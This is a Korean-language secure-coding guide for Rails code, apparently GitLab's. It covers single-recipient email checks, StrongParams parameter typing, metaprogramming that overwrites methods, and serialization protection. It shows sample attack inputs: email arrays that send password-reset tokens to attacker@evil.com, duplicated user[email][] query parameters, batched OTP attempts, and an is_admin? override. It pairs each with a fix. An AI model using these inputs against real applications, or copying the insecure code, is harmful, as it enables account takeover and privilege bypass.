의도한 수신자만 이메일과 알림을 받도록 합니다. 머지될 때는 코드가 안전하더라도, 이메일을 보내기 직전에 심층 방어 차원의 "단일 수신자" 검사를 사용하는 것이 더 좋은 관행입니다. 이렇게 하면 나중에 취약한 코드가 커밋되더라도 취약점을 막을 수 있습니다. 예를 들면 다음과 같습니다.
예시#
# Insecure if email is user-controlled
def insecure_email(email)
mail(to: email, subject: 'Password reset email')
end
# A single recipient, just as a developer expects
insecure_email("person@example.com")
# Multiple emails sent when an array is passed
insecure_email(["person@example.com", "attacker@evil.com"])
# Multiple emails sent even when a single string is passed
insecure_email("person@example.com, attacker@evil.com")
예방과 방어#
- 단일 수신자를 대상으로 하는 새 이메일을 추가할 때는
Gitlab::Email::SingleRecipientValidator를 사용합니다 - 값에
.to_s를 호출하거나value.kind_of?(String)으로 클래스를 확인해서, 코드에 강력한 타입을 적용합니다
요청 파라미터 타이핑#
이 보안 코드 가이드라인은 StrongParams RuboCop으로 강제됩니다.
Rails 컨트롤러에서는 ActionController::StrongParameters를 사용해야 합니다. 이를 통해 요청에서 기대하는 입력의 키와 유형을 명시적으로 정의할 수 있습니다. 모델에서 Mass Assignment를 피하는 데 필수적입니다. 파라미터가 Service 같은 GitLab 코드베이스의 다른 영역으로 전달될 때도 사용해야 합니다.
params[:key]를 사용하면, 코드베이스의 한 부분이 String 같은 유형을 기대하는데 실제로는 Array가 전달되어 오류 없이 안전하지 않게 처리되는 취약점으로 이어질 수 있습니다.
이는 Rails 컨트롤러에만 적용됩니다. API와 GraphQL 엔드포인트는 강력한 타입을 강제하며, Go는 정적으로 타입이 지정됩니다.
예시#
class MyMailer
def reset(user, email)
mail(to: email, subject: 'Password reset email', body: user.reset_token)
end
end
class MyController
# Bad - email could be an array of values
# ?user[email]=VALUE will find a single user and email a single user
# ?user[email][]=victim@example.com&user[email][]=attacker@example.com will email the victim's token to the victim and user
def dangerously_reset_password
user = User.find_by(email: params[:user][:email])
MyMailer.reset(user, params[:user][:email])
end
# Good - we use StrongParams which doesn't permit the Array type
# ?user[email]=VALUE will find a single user and email a single user
# ?user[email][]=victim@example.com&user[email][]=attacker@example.com will fail because there is no permitted :email key
def safely_reset_password
user = User.find_by(email: email_params[:email])
MyMailer.reset(user, email_params[:email])
end
# This returns a new ActionController::Parameters that includes only the permitted attributes
def email_params
params.require(:user).permit(:email)
end
end
이런 종류의 문제는 이메일에만 적용되는 것이 아니며, 다른 예시로는 다음이 있습니다.
- 단일 요청에서 여러 번의 일회용 비밀번호 시도를 허용합니다:
?otp_attempt[]=000000&otp_attempt[]=000001&otp_attempt[]=000002... - 나중에 Service 클래스에서
.merged되는is_admin같은 예상치 못한 파라미터를 전달합니다
관련 주제#
- 이 문제가 취약점 CVE-2023-7028을 일으킨 사례에 대한 설명 동영상을 시청합니다. 동영상은 무슨 일이 있었는지, 어떻게 작동했는지, 앞으로 알아 두어야 할 것을 다룹니다.
- ActionController::StrongParameters와 ActionController::Parameters에 대한 Rails 문서.
메타프로그래밍으로 없는 메서드를 정의할 때의 가이드라인#
메타프로그래밍은 코드를 작성하고 배포하는 시점이 아니라 런타임에 메서드를 정의하는 방법입니다. 강력한 도구이지만, 신뢰할 수 없는 행위자(예: 사용자)가 임의의 메서드를 스스로 정의하도록 허용하면 위험할 수 있습니다. 예를 들어 공격자가 접근 제어 메서드를 항상 true를 반환하도록 실수로 덮어쓸 수 있게 된 상황을 생각해봅니다. 접근 제어 우회, 정보 노출, 임의 파일 읽기, 원격 코드 실행 같은 여러 부류의 취약점으로 이어질 수 있습니다.
주의해야 할 주요 메서드로는 method_missing, define_method, delegate와 비슷한 메서드가 있습니다.
안전하지 않은 메타프로그래밍 예시#
이 예시는 HackerOne 버그 바운티 프로그램을 통해 @jobert가 제출한 예시를 각색한 것입니다. 기여해 주셔서 감사합니다.
Ruby 2.5.1 이전에는 delegate나 method_missing 메서드로 위임자를 구현할 수 있었습니다. 예를 들면 다음과 같습니다.
class User
def initialize(attributes)
@options = OpenStruct.new(attributes)
end
def is_admin?
name.eql?("Sid") # Note - never do this!
end
def method_missing(method, *args)
@options.send(method, *args)
end
end
User 인스턴스에 존재하지 않는 메서드가 호출되면, 이를 @options 인스턴스 변수로 전달했습니다.
User.new({name: "Jeeves"}).is_admin?
# => false
User.new(name: "Sid").is_admin?
# => true
User.new(name: "Jeeves", "is_admin?" => true).is_admin?
# => false
is_admin? 메서드가 클래스에 이미 정의되어 있으므로, 초기화 메서드에 is_admin?을 전달해도 동작이 재정의되지 않습니다.
이 클래스는 Forwardable 메서드와 def_delegators를 사용하도록 리팩터링할 수 있습니다.
class User
extend Forwardable
def initialize(attributes)
@options = OpenStruct.new(attributes)
self.class.instance_eval do
def_delegators :@options, *attributes.keys
end
end
def is_admin?
name.eql?("Sid") # Note - never do this!
end
end
이 예시가 첫 번째 코드 예시와 같은 동작을 하는 것처럼 보일 수도 있습니다. 하지만 중요한 차이가 하나 있습니다. 위임자가 클래스가 로드된 뒤에 메타프로그래밍되기 때문에, 기존 메서드를 덮어쓸 수 있습니다.
User.new({name: "Jeeves"}).is_admin?
# => false
User.new(name: "Sid").is_admin?
# => true
User.new(name: "Jeeves", "is_admin?" => true).is_admin?
# => true
# ^------------------ The method is overwritten! Sneaky Jeeves!
위 예시에서는 초기화 메서드에 전달할 때 is_admin? 메서드가 덮어써집니다.
모범 사례#
- 메서드를 정의하는 메타프로그래밍 메서드에 사용자가 제공한 정보를 절대 넘기지 않습니다.
- 반드시 넘겨야 한다면, 값을 올바르게 정제했다고 매우 확신할 수 있어야 합니다. 값의 허용 목록을 만들어 그에 대해 사용자 입력을 검증하는 것을 고려합니다.
- 메타프로그래밍을 사용하는 클래스를 확장할 때는, 메서드 정의에 대한 안전성 검사를 실수로 재정의하지 않도록 주의합니다.
직렬화#
Active Record 모델의 직렬화는 보호되지 않은 속성이 있으면 민감한 속성을 유출할 수 있습니다.
prevent_from_serialization 메서드를
사용하면, 객체가 serializable_hash로 직렬화될 때 속성을 보호할 수 있습니다.
속성이 prevent_from_serialization으로 보호되어 있으면, serializable_hash,
to_json, as_json에 포함되지 않습니다.
직렬화에 대한 더 자세한 안내는 다음을 참고합니다.
- 시리얼라이저 사용이 중요한 이유.
- API에는 항상 Grape 엔티티를 사용합니다.
ActiveRecord 칼럼을 serialize하려면 다음을 지킵니다.
app/serializers를 사용할 수 있습니다.to_json / as_json은 사용할 수 없습니다.serialize :some_colum은 사용할 수 없습니다.
직렬화 예시#
다음은 TokenAuthenticatable 클래스에 사용된 예시입니다.
prevent_from_serialization(*strategy.token_fields) if respond_to?(:prevent_from_serialization)